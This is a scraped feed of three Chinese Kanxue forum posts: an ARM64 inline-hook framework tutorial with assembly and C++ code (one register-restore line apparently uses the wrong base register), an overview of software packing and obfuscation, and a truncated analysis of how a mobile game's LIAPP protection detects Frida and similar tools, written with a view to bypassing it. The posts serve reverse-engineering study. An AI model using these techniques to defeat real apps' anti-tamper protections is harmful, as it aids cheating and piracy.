这种设计需要保证栈平衡,在进入我们的跳板函数和出跳板函数 sp的值要一致,当然在不污染寄存器的情况下,你可以保存sp,在结束之前恢复(不推荐,很麻烦)
\\n当然也可以和我一样,存在一个结构体中,我们的hook框架是怎么做的?
\\n然后获取结构体的地址,将数据全部压入结构体中(Q系列寄存器还没有加入):
\\n// 保存寄存器到 HookInfo->ctx\\n ldp x0, x1, [sp], #0x10 // 恢复x16,x17\\n stp x0, x1, [x16, #128] // 保存原始x16,x17\\n // 恢复x0,x1到临时寄存器\\n ldp x0, x1, [sp], #0x10 // 从栈上加载原始x0,x1\\n // 保存所有寄存器到ctx\\n stp x0, x1, [x16, #0]\\n stp x2, x3, [x16, #16]\\n stp x4, x5, [x16, #32]\\n stp x6, x7, [x16, #48]\\n stp x8, x9, [x16, #64]\\n stp x10, x11, [x16, #80]\\n stp x12, x13, [x16, #96]\\n stp x14, x15, [x16, #112]\\n stp x18, x19, [x16, #144]\\n stp x20, x21, [x16, #160]\\n stp x22, x23, [x16, #176]\\n stp x24, x25, [x16, #192]\\n stp x26, x27, [x16, #208]\\n stp x28, x29, [x16, #224]\\n str x30, [x16, #240]\\n\\n
这样不用考虑栈平衡的问题,因为我们没用到栈(当然会有新的分支,使用栈来储存,因为他真的很方便)
\\n
\\npre_hookcallback顾名思义就是在调用hook之前的回调函数,在这时,原函数还没有开始执行,但是参数已经被压入到了寄存器中
\\n如何调用?
\\n// 调用pre_callback\\nsub x0, x16, #0x30 // HookInfo作为第一个参数\\nldr x17, [x0] // 加载pre_callback函数指针\\nblr x17 // 调用pre_callback\\n\\n
我们非常简单的就实现了调用,在这里我们可以读取寄存器,修改寄存器
\\n1 2 3 4 5 6 7 8 | // 默认的寄存器打印回调函数 void default_register_callback(HookInfo *info) { RegisterContext *ctx = &info->ctx; LOGI( \\"Register dump:\\" ); for ( int i = 0; i < 31; i++) { LOGI( \\"X%d: 0x%llx\\" , i, ctx->x[i]); } } |
\\n因为前面做了太多的操作,比如
\\nsub x0, x16, #0x30 // 这里污染了x16 x0寄存器\\nldr x17, [x0] // 这里污染了x17寄存器\\nblr x17 // 这里污染了x30寄存器\\n\\n
我们需要把结构体里的寄存器复原,然后在调用原函数
\\nldr x16, _twojump_start //拿到结构体地址\\nadd x16, x16, #0x30 //计算结构体ctx成员\\n// 恢复所有寄存器 比如在hook里修改了,那这里就要还原了\\nldp x0, x1, [x16, #0]\\nldp x2, x3, [x16, #16]\\nldp x4, x5, [x16, #32]\\nldp x6, x7, [x16, #48]\\nldp x8, x9, [x16, #64]\\nldp x10, x11, [x16, #80]\\nldp x12, x13, [x16, #96]\\nldp x14, x15, [x16, #112]\\nldp x18, x19, [x16, #144]\\nldp x20, x21, [x16, #160]\\nldp x22, x23, [x16, #176]\\nldp x24, x25, [x16, #192]\\nldp x26, x27, [x16, #208]\\nldp x28, x29, [x16, #224]\\nldr x30, [x16, #240]\\nsub x16, x16, #0x30\\n\\n
\\n做完了该做的事情以后,终于轮到被hook的函数执行了
\\n
\\n第一种实现:
\\n把之前备份的指令还原回被hook函数,然后跳转执行
\\n因为函数是在我们这里被“主动调用的”
\\n// 调用原函数\\nldr x17, [x16, #16] // 加载原函数地址\\nblr x17\\n//这里x0已经有返回值了\\n\\n
所以在执行完成后还是会返回我们的汇编指令
\\n这种方法不提倡,因为如果被hook函数是多线程执行的(大部分都是这样)
\\n会发生崩溃,具体大家可以思考一下
\\n第二种实现:
\\n将备份后的指令执行,然后跳回原来的函数(+16字节的位置)
\\n
\\n第二种实现涉及到指令修复的问题:
\\n为什么会出现指令修复,因为有一些特殊指令是和当前pc相关的,我们改变了指令的位置
\\nenum class ARM64_INS_TYPE {\\n UNKNOW, //除了下面意外的所有指令\\n ADR, // 形如 ADR Xd, label\\n ADRP, // 形如 ADRP Xd, label\\n B, // 形如 B label\\n BL, // 形如 BL label\\n B_COND, // 形如 B.cond label\\n CBZ_CBNZ, // 形如 CBZ/CBNZ Rt, label\\n TBZ_TBNZ, // 形如 TBZ/TBNZ Rt, #imm, label\\n LDR_LIT, // 形如 LDR Rt, label\\n};\\n\\n
\\n对应的pc值也会发生改变:
\\n2024-12-04 17:00:24.004 17504-17504 jiqiu2021 com.example.inlinehookstudy I Processing instruction[0]: 0xd100c3ff at old_addr: 0x70441c9f64, new_addr: 0x71088f815c\\n2024-12-04 17:00:24.004 17504-17504 jiqiu2021 com.example.inlinehookstudy I Processing instruction[1]: 0xa9027bfd at old_addr: 0x70441c9f68, new_addr: 0x71088f8160\\n2024-12-04 17:00:24.004 17504-17504 jiqiu2021 com.example.inlinehookstudy I Processing instruction[2]: 0x910083fd at old_addr: 0x70441c9f6c, new_addr: 0x71088f8164\\n2024-12-04 17:00:24.004 17504-17504 jiqiu2021 com.example.inlinehookstudy I Processing instruction[3]: 0xb81fc3a0 at old_addr: 0x70441c9f70, new_addr: 0x71088f8168\\n\\n
我们采用shadowhook里面的代码进行修复(我给重写并加上了注释)
\\n拿修复adrp的部分做例子:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | static size_t fix_adrp(uint32_t *out_ptr, uint32_t ins, void *old_addr, void *new_addr) { uint64_t pc = (uint64_t) old_addr; // 获取目标寄存器和立即数 uint32_t rd = SH_UTIL_GET_BITS_32(ins, 4, 0); // 目标寄存器 uint64_t immlo = SH_UTIL_GET_BITS_32(ins, 30, 29); // 低2位 uint64_t immhi = SH_UTIL_GET_BITS_32(ins, 23, 5); // 高19位 uint64_t offset = SH_UTIL_SIGN_EXTEND_64((immhi << 14u) | (immlo << 12u), 33u); // 计算目标页地址 uint64_t addr = (pc & 0xFFFFFFFFFFFFF000) + offset; // 生成新的LDR序列 out_ptr[0] = 0x58000040u | rd; // LDR Xd, #8 out_ptr[1] = 0x14000003; // B #12 out_ptr[2] = addr & 0xFFFFFFFF; // 低32位 out_ptr[3] = addr >> 32u; // 高32位 return 16; // 4条指令 } |
其实就是把adrp(8字节)等价替换成了 (16字节的指令)
\\n1 2 3 4 | out_ptr[0] = 0x58000040u | rd; // LDR Xd, #8 out_ptr[1] = 0x14000003; // B #12 out_ptr[2] = addr & 0xFFFFFFFF; // 低32位 out_ptr[3] = addr >> 32u; // 高32位 |
\\n
\\n在调用完原函数以后,相应的寄存器的值发生了变化,我们再次保存,然后调用函数调用后的回调函数
\\n// 调用原函数\\n ldr x17, [x16, #16] // 加载原函数地址\\n blr x17\\n //这里x0已经有返回值了\\n\\n ldr x16, _twojump_start\\n add x17, x16, #48 // x17指向ctx\\n\\n // 再次保存寄存器到ctx\\n stp x0, x1, [x17, #0]\\n stp x2, x3, [x17, #16]\\n stp x4, x5, [x17, #32]\\n stp x6, x7, [x17, #48]\\n stp x8, x9, [x17, #64]\\n stp x10, x11, [x17, #80]\\n stp x12, x13, [x17, #96]\\n stp x14, x15, [x17, #112]\\n stp x18, x19, [x17, #144]\\n stp x20, x21, [x17, #160]\\n stp x22, x23, [x17, #176]\\n stp x24, x25, [x17, #192]\\n stp x26, x27, [x17, #208]\\n stp x28, x29, [x17, #224]\\n\\n // 调用post_callback\\n mov x0, x16 // HookInfo作为第一个参数\\n ldr x16, [x16, #8] // 加载post_callback\\n blr x16\\n\\n
注释写的很清楚,和上面高速相似,相信大家已经看懂了
\\n
\\n就结束了吗?还没有结束,如果你在post_callback修改了寄存器的值,还需要恢复
\\n// 恢复所有寄存器\\n ldr x16, _twojump_start\\n add x16, x16, #0x30\\n // 恢复所有寄存器 比如在hook里修改了,那这里就要还原了\\n ldp x0, x1, [x16, #0]\\n ldp x2, x3, [x17, #16]\\n ldp x4, x5, [x16, #32]\\n ldp x6, x7, [x16, #48]\\n ldp x8, x9, [x16, #64]\\n ldp x10, x11, [x16, #80]\\n ldp x12, x13, [x16, #96]\\n ldp x14, x15, [x16, #112]\\n ldp x18, x19, [x16, #144]\\n ldp x20, x21, [x16, #160]\\n ldp x22, x23, [x16, #176]\\n ldp x24, x25, [x16, #192]\\n ldp x26, x27, [x16, #208]\\n ldp x28, x29, [x16, #224]\\n ldr x30, [x16, #240]\\n ret\\n\\n
当然这里可以只恢复x0(返回值)
\\n
\\n到此我们已经完整完成了一个hook的流程
\\n
\\n项目地址放在上面了。本次讲解的是newhook分支
\\n项目的总hook管理结构体是:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | // 全局存储所有hook信息 class HookManager { private : static std::map< void *, HookInfo *> hook_map; // key是目标函数地址 static std::mutex hook_mutex; public : static void registerHook(HookInfo *info) { if (!info) return ; setCurrentHook(info); std::lock_guard<std::mutex> lock(hook_mutex); hook_map[info->target_func] = info; } static void setCurrentHook(HookInfo *info) { current_executing_hook = info; } static HookInfo *getCurrentHook() { return current_executing_hook; } static HookInfo *getHook( void *target_func) { std::lock_guard<std::mutex> lock(hook_mutex); auto it = hook_map.find(target_func); return (it != hook_map.end()) ? it->second : nullptr; } static void removeHook( void *target_func) { std::lock_guard<std::mutex> lock(hook_mutex); hook_map.erase(target_func); } }; |
这里重点注意三个函数:
\\nregisterHook
注册函数
removeHook
移除注册函数
getHook
获取hook状态(比如传入open地址,看是不是已经被hook了) 链式hook准备做,但是感觉没啥用
\\n
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | struct HookInfo { void (*pre_callback)(HookInfo *pHookInfo); //储存hook前回调函数地址 void (*post_callback)(HookInfo *ctx); //储存hook后回调函数地址 void *backup_func; //mmap出来存汇编的地址 void *target_func; //目标hook的地址 void *hook_func; //无意义,历史遗留 void *user_data; //无意义,历史遗留 // 寄存器上下文 RegisterContext ctx; // 原始代码 uint8_t original_code[1024]; //存储备份函数字节的空间 size_t original_code_size; //备份了多少字节 }; |
hook信息储存结构体,在汇编里获取的也是这个
\\n每一个hook,对应一个hookinfo
\\n1 2 3 4 5 | void * openaddr =dlsym(RTLD_DEFAULT, \\"open\\" ); HookInfo *hookInfo = createHook(( void *) openaddr, my_register_callback, post_hook_callback, ( void *) hello.c_str()); |
重点讲一下createHook一些点:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | HookInfo *createHook( void *target_func, void (*pre_callback)(HookInfo *) = nullptr, void (*post_callback)(HookInfo *) = nullptr, void *user_data = nullptr) { LOGI( \\"Creating hook - target: %p\\" , target_func); if (!target_func ) return nullptr; // 检查是否已经被hook HookInfo *existing = HookManager::getHook(target_func); if (existing) { LOGE( \\"Function already hooked!\\" ); return nullptr; } // 创建HookInfo结构 auto *hookInfo = new HookInfo(); if (!hookInfo) return nullptr; // 初始化结构 memset (hookInfo, 0, sizeof (HookInfo)); hookInfo->target_func = target_func; hookInfo->pre_callback = pre_callback ? pre_callback : default_register_callback; hookInfo->post_callback = post_callback; hookInfo->user_data = user_data; // 备份原始指令 if (!backup_orig_instructions(hookInfo)) { delete hookInfo; return nullptr; } // 分配跳板内存 size_t trampoline_size = 1024; void *trampoline = mmap(nullptr, trampoline_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (trampoline == MAP_FAILED) { delete hookInfo; return nullptr; } LOGI( \\"Trampoline allocated at %p\\" , trampoline); hookInfo->backup_func = trampoline; //print two_jump_start two_jump_end addr LOGI( \\"two jump start addr = %p\\" ,two_jump_start); LOGI( \\"two jump end addr = %p\\" ,two_jump_end); size_t two_jump_size =two_jump_end-two_jump_start; memcpy (hookInfo->backup_func, two_jump_start, two_jump_size); LOGI( \\"hook info addr = %p\\" ,hookInfo); // 在预留的NOP位置写入地址 uint64_t info_addr = (uint64_t)hookInfo; uint64_t hook_addr = (uint64_t)hookInfo->hook_func; // 填充HookInfo地址(前8字节) memcpy (hookInfo->backup_func, &info_addr, sizeof (info_addr)); // 填充hook函数地址(后8字节) memcpy ((uint8_t*)hookInfo->backup_func + 8, &hook_addr, sizeof (hook_addr)); // 修复指令时记录指令信息 uint32_t *orig = (uint32_t *) hookInfo->original_code; for ( size_t i = 0; i < hookInfo->original_code_size / 4; i++) { LOGI( \\"Original instruction[%zu]: 0x%08x\\" , i, orig[i]); } size_t fixed_size = ARM64Fixer::fix_instructions( (uint32_t *) hookInfo->original_code, hookInfo->original_code_size, hookInfo->target_func, (uint32_t *)(( uintptr_t )hookInfo->backup_func + two_jump_size) ); void *return_addr = (uint8_t *) target_func + hookInfo->original_code_size; // 添加跳回原函数的跳转 if (!create_jump((uint8_t *) hookInfo->backup_func + fixed_size+two_jump_size, return_addr, false )) { munmap(trampoline, trampoline_size); delete hookInfo; return nullptr; } // 在目标函数处写入跳转到hook函数的代码 if (!create_jump(target_func, (uint8_t*)hookInfo->backup_func+16, false )) { munmap(trampoline, trampoline_size); delete hookInfo; return nullptr; } hookInfo->backup_func=(uint8_t*)hookInfo->backup_func+two_jump_size; HookManager::registerHook(hookInfo); LOGI( \\"hookinfo addr %p\\" ,hookInfo); LOGI( \\"ctx addr %p\\" ,&hookInfo->ctx.x[0]); return hookInfo; } |
backup_orig_instructions(hookInfo)
主要是备份原来的函数,将指令拷贝到结构体里
\\n1 2 3 4 5 6 7 8 9 10 11 | void *trampoline = mmap(nullptr, trampoline_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (trampoline == MAP_FAILED) { delete hookInfo; return nullptr; } LOGI( \\"Trampoline allocated at %p\\" , trampoline); hookInfo->backup_func = trampoline; |
每次都创建一个页大小的内存,来存储跳板函数就是.s里面的
\\n.s里面我更喜欢叫他模板函数,因为他不是最终执行的,每创建一个函数都会创建一块内存,然后memcpy到mmap出来的这一块内存里,在填入当前hook的hookinfo
\\n1 2 3 4 5 6 7 8 9 10 | size_t two_jump_size =two_jump_end-two_jump_start; //这里计算汇编大小 memcpy (hookInfo->backup_func, two_jump_start, two_jump_size); //这里开始拷贝 LOGI( \\"hook info addr = %p\\" ,hookInfo); // 在预留的位置填入地址,这里写hookInfo->hook_func;有点多余,其实可以直接取 uint64_t info_addr = (uint64_t)hookInfo; uint64_t hook_addr = (uint64_t)hookInfo->hook_func; //填充hookinfo地址 memcpy (hookInfo->backup_func, &info_addr, sizeof (info_addr)); // 填充hook函数地址(后8字节) memcpy ((uint8_t*)hookInfo->backup_func + 8, &hook_addr, sizeof (hook_addr)); |
\\n这一部分对备份的指令进行修复,然后填入mmap的那块空间里
\\n1 2 3 4 5 6 7 8 9 10 11 | uint32_t *orig = (uint32_t *) hookInfo->original_code; for ( size_t i = 0; i < hookInfo->original_code_size / 4; i++) { LOGI( \\"Original instruction[%zu]: 0x%08x\\" , i, orig[i]); } size_t fixed_size = ARM64Fixer::fix_instructions( (uint32_t *) hookInfo->original_code, hookInfo->original_code_size, hookInfo->target_func, (uint32_t *)(( uintptr_t )hookInfo->backup_func + two_jump_size) ); |
之后添加跳回原来函数的跳转指令:
\\n1 2 3 4 5 6 7 8 | void *return_addr = (uint8_t *) target_func + hookInfo->original_code_size; // 添加跳回原函数的跳转 if (!create_jump((uint8_t *) hookInfo->backup_func + fixed_size+two_jump_size, return_addr, false )) { munmap(trampoline, trampoline_size); delete hookInfo; return nullptr; } |
mmap分配出的空间目前是
\\n填充过的.s模板汇编地址|修复过的原函数指令|跳回原函数执行的地址
\\n1 2 3 4 5 | if (!create_jump(target_func, (uint8_t*)hookInfo->backup_func+16, false )) { munmap(trampoline, trampoline_size); delete hookInfo; return nullptr; } |
修改目标函数头部,跳转到模板函数+16字节处(16字节存储地址)
\\n1 | hookInfo->backup_func=(uint8_t*)hookInfo->backup_func+two_jump_size; |
hookInfo->backup_func指针指向修复过的指令地址,并且执行完修复的指令回跳回原函数位置
\\n由于
\\n1 2 3 | // 调用原函数 ldr x17, [x16, #16] // 加载原函数地址 blr x17 |
使用的是blr x30寄存器被我们修改在这里了,所以回跳回模板函数
\\n
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | bool inline_unhook(HookInfo *info) { if (!info) return false ; HookManager::removeHook(info->target_func); // 修改目标函数内存权限 size_t page_size = sysconf(_SC_PAGESIZE); void *page_start = ( void *) (( uintptr_t ) info->target_func & ~(page_size - 1)); if (mprotect(page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) { return false ; } // 直接恢复原始指令,而不是创建跳转 memcpy (info->target_func, info->original_code, info->original_code_size); // 清理指令缓存 __builtin___clear_cache(( char *) info->target_func, ( char *) info->target_func + info->original_code_size); // 释放跳板内存 if (info->backup_func) { munmap(info->backup_func, 256); } delete info; return true ; } |
取消hook就很简单了,把目标函数头部还原即可
\\n
\\n目前框架还有很多bug,而且只支持arm64,我会不断发展,开出多个分支,并给出实战(配合我的注入框架,以及开发出server,像frida一样通过JIT生成代码进行hook)
\\n有任何疑问欢迎留言,我会解答,第二篇就打算完善后继续写,或者结合我的注入框架写一篇实战。
\\n目前TODO:
\\n支持Q系列寄存器
\\n使用栈作为参数,精简汇编
\\n解决X16 X17寄存器污染问题
\\n最后特别感谢先辈的伟大项目,能让我学习到特别多的技巧,特别感谢卓童老师开展这样一个教学性的项目,让我受益匪浅。
\\n
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"为什么市面上那么多成品的InlineHook,比如Dobby,SandHook,ShadowHook,还要再写一个? 因为这些hook大多数是项目级别的,不带教程讲解,上手难度略高,以及现在对InlineHook检测比较严重,有必要了解原理,从头写一个,知道哪里能检测,哪里需要注意,需要改的点在哪\\n\\n我写这篇文章主要是记录开发过程,方便后边回顾,以及给一些感兴趣的朋友作为一个入手的点,快速的上手InlineHook的原理。\\n\\n先放项目地址:https://github.com/jiqiu2022/ReZeroHook\\n\\n目前有两个分支…","guid":"https://bbs.kanxue.com/thread-284689.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-12-04T10:27:56.916Z","media":[{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825820.png","type":"photo","width":2248,"height":1444,"blurhash":"LBSF;MD%IU~q_3f6Rjazt8ofM{Rj"},{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825835.png","type":"photo","width":1124,"height":426,"blurhash":"LyL;mej[ofxu~qWBj[ofRjWBayay"},{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825845.png","type":"photo","width":1184,"height":438,"blurhash":"LwL}BEoft7xu~qayj[ofM{WBWBay"},{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825855.png","type":"photo","width":1204,"height":176,"blurhash":"LwMIyHyDkYo#tlofjsaxpfjEnzad"},{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825864.png","type":"photo","width":824,"height":326,"blurhash":"LCRp8=~X?a~q%gxus;oLSvRkICRk"},{"url":"https://qiude1tuchuang.oss-cn-beijing.aliyuncs.com/blog/202412041825874.png","type":"photo","width":2222,"height":778,"blurhash":"LLRW0a?b~q?b-;j[ofj[fRa{ayay"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]细说软件保护","url":"https://bbs.kanxue.com/thread-284629.htm","content":"\\n\\n随着计算机与互联网相关技术的蓬勃高速发展,计算机已不再是“专业人员”的独有工具软件应用也逐渐与人们的日常生活深度绑定。如何妥善的保护软件,让软件安全运行在用户/客户的设备上,更好的服务大众助力业务稳定发展,软件保护自始至终都是一个重要的问题。
\\n从软件保护的视角来看,可以笼统的分为应用保护、代码保护、算法保护,本文也将从这 3 个纬度进行阐述软件保护相关的问题
\\n应用加壳:压缩壳、加密壳、抽取壳、保护壳
\\n应用保护(也称应用加壳),主要是为了保护软件的著作信息、关键资源和关键实现等资产的一种有效措施。“加壳”与自然界和生物界中动植物为了保护关键“种子”非常相似,当然这壳有先天的(譬如蛋壳,天生自带保护壳),也有后天的动物的羽毛、古时的铠甲盔甲
\\n应用保护历史悠远,从 DOS 时代起就出现了反编译相关技术,而应用保护在那个时期已初见雏形。 壳的初始作用是保护软件,但后来发展的方向不一就出现了各种各样的壳,一般有压缩壳、加密壳、抽取壳、保护壳、虚拟执行壳几个阶段,具体如下所示
\\n软件加壳除了保护软件的著作信息、关键资源和关键实现外,还为了隐藏了程序真实的 程序入口点(OEP,Original Entry Point。或者用了假的 OEP ), 对于隐藏了 OEP 的保护,需要先寻找应用真正的 OEP,才可以完成 OEP 脱壳。
\\n应用加壳和脱(解)壳彼此互为逆运算(类比于密码学中的加密与解密的思路与流程)。无非是在具体过程中采用的措施和思路并不相同,大致流程分为如下三个步骤
\\n从而达到应用保护的目的,但又不干扰实际的逻辑
\\n一般来说获取到抽取后的信息、解壳的逻辑后,然后由逆向工程师去“模拟”壳中脱壳逻辑即可完成脱壳(参考上述步骤 3)。【当然壳类型不同,模拟的过程也不相同。 譬如在虚拟执行壳中需要定位壳的解释器和自定义字节码的映射关系,才可还原】。
\\n上述,“模拟”是个较为笼统的讲述。而实际的脱壳方式有内存dump、缓存dump、文件监听、内存重组、主动调用
\\n静态保护:布局混淆、数值混淆、控制流混淆、预防混淆
\\n动态保护:VMP、自修改代码
\\n其他保护:多态保护、代码变形、代码加壳
\\n如果说应用保护是给应用程序的大门加上了一把“大锁”,那么代码保护就是针对组成应用程序的源码加了多个“小锁”。在实际的代码保护中由于代码的粒度更细,组成更为分散,那么保护措施相对来说更多。
\\n在实际应用中,代码保护通常无法完整且长期的保护,也仅只能给对应的逆向人员延长分析与调试的时间。在实际的应用中引入代码保护会需要消耗更多的计算资源和存储资源的消耗,所以对于性能损耗和阻碍逆向人员的资源投入,需要在实际场景中进行相关的权衡取舍。
\\n对于代码保护有如下几种分类方式
\\n所谓的静态分析是在不运行代码的情况下,对代码的静态特征和功能模块进行分析的方法。静态分析代码的优势在于它能描绘程序的轮廓,包括控制流和数据结构。
\\n静态混淆是指保留代码原有功能上的代码等价转换,使其难以阅读、分析和理解。难以阅读,分析是混淆的目的,“等价转换”是确保混淆后代码和源代码的功能保持一致。
\\n对于代码混淆的分类,通常以 Collberg 的理论为基础,细分为布局混淆、数据混淆、控制混淆和预防混淆。
\\n布局混淆原是指删除或混淆与执行无关的辅助文本信息,增加攻击者阅读和理解代码的难度,具体到高级语言中就是指源代码中的注释文本、调试信息、代码命名和格式等。布局混淆能够在引入更多计算的同时进行代码,虽然单独布局混淆保护强度并不强,但通常在实际应用中都会用到布局混淆。
\\n布局混淆也包括采用技术手段处理代码中的常量名、变量名、函数名等标识符,增加逆向工作者对代码理解的难度。具体有如下 2 种体现
\\n数据是构成语言代码的基本元素(注意:此数据并非应用程序的数据,而是代码中原有的数据),同时也是语义分析的重要依据。在数据混淆的过程中通常会引入更多的计算,不过好在数据混淆较于布局混淆会有更好保护的效果。
\\n数据混淆较于布局混淆是个更大的话题,一方面是数据类型种类更多,另一方面类型不同可引入的保护措施也更多。所以将在下述中对于基础数据类型进行分别讨论其混淆方式。
\\n基础类型包含:字符(串)类型、数值类型、布尔类型、对象类型等
\\n字符是最常见的常量数据(在此,将字符、字符串和文本统一称之为字符)。而字符中通常包含重要信息,如类名、方法名、变量名、异常,错误甚至是关键文本。而字符混淆便是将有“业务语义”的代码通过编码、加密的方式,将包含关键语义的信息进行保护。
\\n数字混淆即通过数字计算拆分、进制转换、公式拆解的方式,对代码中的数字进行保护。虽然数字本身包含的业务语义,并非像字符中体现的那么敏感。但数字又是在代码中随处可见,譬如循环迭代的索引、数组取值。对数字进行混淆保护有助于代码防护强度更上一层楼。
\\n布尔类型在底层直接由 0、1 构成,所以使得既可以使用数字混淆的技巧,也可通过类型转换等方式完成布尔混淆。
\\n代码块都是按照逻辑顺序有序划分与组合,并且将相关的代码放在一起。在不改变程序功能的前提下,可以通过拆分重组代码等方式打破这种常规逻辑,使代码间的关系变得模糊,以此来保护程序的源码。
\\n控制混淆即改变控制流或将原有控制流复杂化,通常的方式有不透明谓词、插入冗余代码和控制流平坦化
\\n预防混淆的目的不是通过混淆代码增加分析调试代码的复杂度,而是提高现有的反混淆技术破解代码的难度或检测现有的反混淆器中存在的问题,并针对现有的反混淆器中的漏洞设计混淆算法,增加其破解代码的难度。譬如花指令、调试器检测
\\n动态混淆,主要因对动态分析。技术在实现上主要包括自修改代码技术和虚拟机保护技术。
\\nVM 是一种通过将源代码按照自定义的编译器变成对应的字节码,然后在运行时在代码中运行自定义的 VM 解释器。可类比于 JVM
\\nVMP 是一种通过增加了一层自定义指令集、解释器的一种保护方式。其主要特性是自定义的指令集(也称虚拟指令集),由于实际的代码均是 VMP 动态运行后得到的。故无法直接有效的分析
\\n自修改代码(SMC,Self-Modified Code)是一类特殊的代码技术,即在运行时修改自身代码,从而使得程序实际行为与反汇编结果不符,同时修改前的代码段数据也可能非合法指令,从而无法被反汇编器识别,这加大了软件逆向工程的难度。
\\n其主要利用了冯罗伊曼体系结构的存储程序的特点,即指令和数据存储在同一个内存空间中,因此指令可以被视作数据被其他指令读取和修改。程序在运行时向代码段中写数据,并且写入的数据被作为指令执行,达到自我修改的效果。自修改保护机制可以有效抵御静态逆向分析而且由于代码仅在需要时才以明文的形式出现,可以在一定程度上阻碍逆向工具获取程序所有的明文代码,从而抵抗动态分析。
\\n虽然代码混淆、加密、编码能够有效的保护代码,但也存在一定的问题。因为保护一成不变的话,被破解终究仅是时间问题。
\\n多态保护的特点是随机性和变化性。多态保护即对代码本身进行变种替换,从而产生大量不同形式但功能相同的代码,甚至还可以采用多种不同的实现方法。
\\n可以将代码变形看作多态保护的衍生。代码变形在多态技术的基础上更进一步,在每次应用过程中不仅对解密代码,还对代码主体也进行变换,使不同代码实例的代码完全不同。
\\n算法保护,也称加密算法保护。由于在软件保护中通常伴随着编码、加密和摘要等行为。其用途和必要性在此不再过多赘述,但目前所使用的标准的密码学算法或多或少均有相关明显特征,譬如 base64 的码表,又譬如 md5 的魔数。一旦识别到关键点,即可直接通过动态调试到方式,直捣黄龙。直接定位到附近。那么上述的应用保护,还是代码保护如形同虚设无异。
\\n那么基于此,可以对算法进行相关保护,从而保证无法直接从密码学的角度直接切入。最常见的保护方式有 3 种,即算法魔改,TEE
\\n[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
\\n\\n\\n\\n\\n\\n\\n\\n","description":"随着计算机与互联网相关技术的蓬勃高速发展,计算机已不再是“专业人员”的独有工具软件应用也逐渐与人们的日常生活深度绑定。如何妥善的保护软件,让软件安全运行在用户/客户的设备上,更好的服务大众助力业务稳定发展,软件保护自始至终都是一个重要的问题。 从软件保护的视角来看,可以笼统的分为应用保护、代码保护、算法保护,本文也将从这 3 个纬度进行阐述软件保护相关的问题\\n\\n应用加壳:压缩壳、加密壳、抽取壳、保护壳\\n\\n应用保护(也称应用加壳),主要是为了保护软件的著作信息、关键资源和关键实现等资产的一种有效措施。“加壳”与自然界和生物界中动植物为了保护关键“种子…","guid":"https://bbs.kanxue.com/thread-284629.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-11-30T07:32:04.471Z","media":null,"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] LIAPP手遊保護分析","url":"https://bbs.kanxue.com/thread-284601.htm","content":"\\n\\n\\n\\npackagename:bmV0LmdhbWVkdW8udGJk
\\n
聲明:本文內容僅供學習交流之用
淺淺記錄一次對LIAPP的分析過程。
\\n直接打開APP會提示debuggable
。
用frida注入後會提示ng1ok-64.so
( 一般的frida應該是frida-agent-64.so
)
用frida hook dlopen
,發現在閃退前只加載了libdyzzwwc.so
,顯然anti frida的邏輯就在這個so中。
查看libdyzzwwc.so
的.init_array,看上去有點奇怪。
手動按D
幫助IDA重新解析,發現靜態分析.init_array只能看到有一個初始化函數,相關檢測邏輯大概就在這裡。
將sub_B8080
重命名為init_array_func1
。
進入init_array_func1
,會發現有些函數調用IDA靜態分析時無法識別,像下圖這樣。
遇到這種情況時,只好動調看看了。
\\n
注:一些函數是經過我重命名的,並非原本就是這樣。
\\n在動調前要先弄清楚主要的目的:
\\n從init_array_func1
下斷點開始進行動調,一開始先判斷了v1
中是否包含.sandbox
,不清楚具體檢測的是什麼,或許是一些沙箱環境?
我的環境不會走這條if分支,繼續向下看。
\\n
注:v1
如下,是從/proc/self/environ
裡取的值,while循環會遍歷這其中的所有元素
然後v1
是否包含com.lbe.parallel
,查了下這個APP,相關描述是\\"使用 Parallel Space 輕鬆地複製和運行同一應用程式的多個帳戶\\"
,大概是一個APP多開工具,看來這個工具也是不允許的。
跳過中間的一些不太重要的邏輯,看到最後調用了幾個函數,逐一看看。
\\n
首先看check_blackdex
,檢查了blackdex
,這是一個著名的脫殼工具,被檢測到後會調用kill_func
。
繼續看check_something
,中間幾個5C85F0A264
指向app_process64
某處,不用理會。
重點是do_something1
和do_something2
。
先看do_something1
,一開始先打開了/proc/self/maps
,算是比較經典的檢測點。
將從maps裡獲取的內容傳入check1
函數。
check1
檢測的東西如下( 只顯示一部份 ),包括frida、xposed等等。由於我魔改的frida-agent.so
放在了/data/local
目錄下,因此被檢測出來了。
當maps中存在以下字符串時代表檢測到,會返回-1
,反之返回0
代表檢測不到。
看完check1
函數,回到do_something1
繼續向下看,會發現另一層檢測邏輯。
首先通過scandir
獲取/proc/<pid>/task
下所有目錄。
然後遍歷這些線程目錄,讀取/proc/<tid>/comm
的內容。
接著判斷/proc/<tid>/comm
